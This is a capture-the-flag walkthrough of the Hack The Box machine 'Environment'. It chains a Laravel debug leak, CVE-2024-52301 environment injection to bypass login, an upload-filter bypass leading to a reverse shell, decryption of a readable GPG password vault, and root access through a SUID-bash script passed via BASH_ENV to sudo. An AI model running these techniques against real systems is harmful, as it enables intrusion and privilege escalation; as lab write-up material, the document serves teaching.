Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_ 256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://environment.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Since the nmap scan already found the redirect to environment.htb
I’ll add this to my /etc/hosts
file.
Execution
Browsing to http://environment.htb
shows a simple web page with not much to discover. I’m able to join a mailing list by providing an email address, but using anything else or trying the same email twice results in an error message.
The form submission is handled by Javascript and performs a POST request to /mailing
with the email and a token carved from the HTML source.
document.getElementById('mailingListForm').addEventListener('submit', async function (event) {
event.preventDefault(); // Prevent the default form submission behavior
const email = document.getElementById('email').value;
const csrfToken = document.getElementsByName("_token")[0].value;
const responseMessage = document.getElementById('responseMessage');
try {
const response = await fetch('/mailing', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: "email=" + email + "&_token=" + csrfToken,
});
if (response.ok) {
const data = await response.json();
responseMessage.textContent = data.message; // Display success message
responseMessage.style.color = 'greenyellow';
} else {
const errorData = await response.json();
responseMessage.textContent = errorData.message || 'An error occurred.';
responseMessage.style.color = 'red';
}
} catch (error) {
responseMessage.textContent = 'Failed to send the request.';
responseMessage.style.color = 'red';
}
});
Using ffuf to bruteforce directories uncovers multiple endpoints like /login
and /logout
. What strikes me as odd is the result for /mailing
because of the 405
status code, since ffuf used a GET instead of POST, and the rather big result size of 244871 bytes.
$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt \
-u http://environment.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://environment.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
logout [Status: 302, Size: 358, Words: 60, Lines: 12, Duration: 75ms]
login [Status: 200, Size: 2391, Words: 532, Lines: 55, Duration: 198ms]
upload [Status: 405, Size: 244869, Words: 46159, Lines: 2576, Duration: 1047ms]
mailing [Status: 405, Size: 244871, Words: 46159, Lines: 2576, Duration: 350ms]
up [Status: 200, Size: 2126, Words: 745, Lines: 51, Duration: 147ms]
storage [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 36ms]
build [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 130ms]
vendor [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 18ms]
Accessing /mailing
in the browser shows an Laravel error page with a call trace and exposing the PHP version 8.2.28
and Laravel version 11.30.0
. Seeing this page means that debugging is enabled.
Searching for the Laravel version finds an argument injection vulnerability where one can influence the environment through request parameters. There is a PoC available for CVE-2024-52301.
On the footer on the main page the application indicates the environment (production) it runs in. Adding the parameter ?--env=dev
changes this value to Dev
. At this point it just changes the footer and the rest of the page stays the same.
Changing my focus to /login
shows a login prompt to the Marketing Management Portal. Obviously I do not have working credentials and default ones do not seem to work, but since debugging is enabled I might be able to produce an error and leak some information.
When I inspect the actual login request with BurpSuite I can see four parameters sent to the server. Out of them remember
sticks out because it might be a boolean value.
POST /login HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
Origin: http://environment.htb
DNT: 1
Connection: keep-alive
Referer: http://environment.htb/login
Cookie: XSRF-TOKEN=ey<REDACTED>n0%3D; laravel_session=ey<REDACTED>n0%3D
Upgrade-Insecure-Requests: 1
Priority: u=0, i
_token=gvYr9YB8BKm7TXQHPqZJF6VDPZWdTTHqCcStKLjg&email=test%40test.com&password=helloworld&remember=True
As soon as I change this value to anything other than True
or False
the server responds with a 500 Internal Server Error and prints a call trace leaking some source code.
$keep_loggedin = False;
} elseif ($remember == 'True') {
$keep_loggedin = True;
}
if($keep_loggedin !== False) {
// TODO: Keep user logged in if he selects "Remember Me?"
}
if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
$request->session()->regenerate();
$request->session()->put('user_id', 1);
return redirect('/management/dashboard');
}
$user = User::where('email', $email)->first();
The code right after the error is more interesting, because within the preprod
environment the login is bypassed and a session as user 1 is created. Repeating the login procedure, intercepting the POST request and adding ?--env=preprod
to the URI logs me in as Hish
.
On the profile page I’m able to choose a new picture for the account. Updating the picture uploads the file to /storage/files/<filename>
, but using the extension .php
is prohibited. Additionally there’s a check for the file type but this can easily be bypassed through prefixing the data with GIF89a
to mimick a GIF file.
Even though the application happily accepts extensions like .php4
, .php5
or .PHP
, the server does not want to run the PHP code. Adding a single dot as extension will be removed by the upload logic and the file upload goes through. Reloading the profile page runs the code associated with the uploaded reverse shell and I get a callback as www-data
.
Privilege Escalation
Shell as hish
The permissions on hish
home directory allow any user to list and read the files, including the backup
folder containing a GPG key vault.
$ ls -la /home/hish/backup/
total 12
drwxr-xr-x 2 hish hish 4096 Jan 12 11:49 .
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 ..
-rw-r--r-- 1 hish hish 430 May 4 18:42 keyvault.gpg
In order to decrypt the key vault, I copy the contents of the .gnupg
folder somewhere else because the www-data
user does not have write privileges in the home directory and gpg wants to create temporary files there. Then I run --decrypt keyvault.gpg
while specifying the new folder to show the contents of the vault.
$ mkdir /dev/shm/home
$ cp -ar /home/hish/.gnupg /dev/shm/home
$ gpg --homedir /dev/shm/home/.gnupg --decrypt /home/hish/backup/keyvault.gpg
gpg: WARNING: unsafe permissions on homedir '/dev/shm/home/.gnupg'
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
"hish_ <hish@environment.htb>"
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!
This does reveal three passwords and marineSPm@ster!!
lets me change the user to hish
.
Shell as root
$ sudo -l
[sudo] password for hish:
Matching Defaults entries for hish on environment:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty
User hish may run the following commands on environment:
(ALL) /usr/bin/systeminfo
When interacting with sudo the contents of the environment variable BASH_ENV
is preserved and can be used to specify a startup file1. I create a short bash script that copies the bash binary into the tmp directory and adds the SUID bit. Then I add the executable bit to the script and use it as value for BASH_ENV
in the call to systeminfo
.
After running the command there’s a modified bash binary that I can use to escalate to root
.
$ cat /tmp/privesc.sh
cp /bin/bash /tmp/bash
chmod u+s /tmp/bash
$ chmod +x /tmp/privesc.sh
$ BASH_ENV='/tmp/privesc.sh' sudo /usr/bin/systeminfo
--- SNIP ---
$ ls -la /tmp/bash
-rwsr-xr-x 1 root root 1265648 May 4 18:55 /tmp/bash
Attack Path
flowchart TD subgraph "Execution" A(Unsupported HTTP method) -->|Information Leakage| B(Laravel version leak) C(Force 500 error on login) -->|Information Leakage| D(Login bypass in preprod environment) B & D -->|"CVE-2024-52301 Argument Injection"| E(Access to dashboard) E -->|Bypass Upload Filter| F(Shell as www-data) end subgraph "Privilege Escalation" F -->|Unsecured GPG key vault| G(Shell as hish) G -->|BASH_ENV preserved for sudo| H(Shell as root) end